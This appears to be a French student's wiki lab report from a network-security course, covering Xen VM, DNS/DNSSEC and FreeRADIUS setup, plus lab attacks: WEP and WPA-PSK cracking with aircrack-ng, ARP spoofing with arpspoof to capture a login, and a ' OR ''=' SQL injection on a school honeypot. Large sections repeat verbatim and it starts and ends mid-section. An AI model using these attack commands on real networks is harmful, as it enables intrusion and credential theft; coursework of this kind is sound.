5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

TP sysres IMA2a5 2020/2021 G7

2020-12-14T12:09:29Z

Lchenu : /* Attaque de type "homme au milieu" par usurpation ARP */

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande df
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space1
ns6.gandi.net

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171
www IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.

root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt
root@zabeth09:~# ./dico > dico.txt

Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0

root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
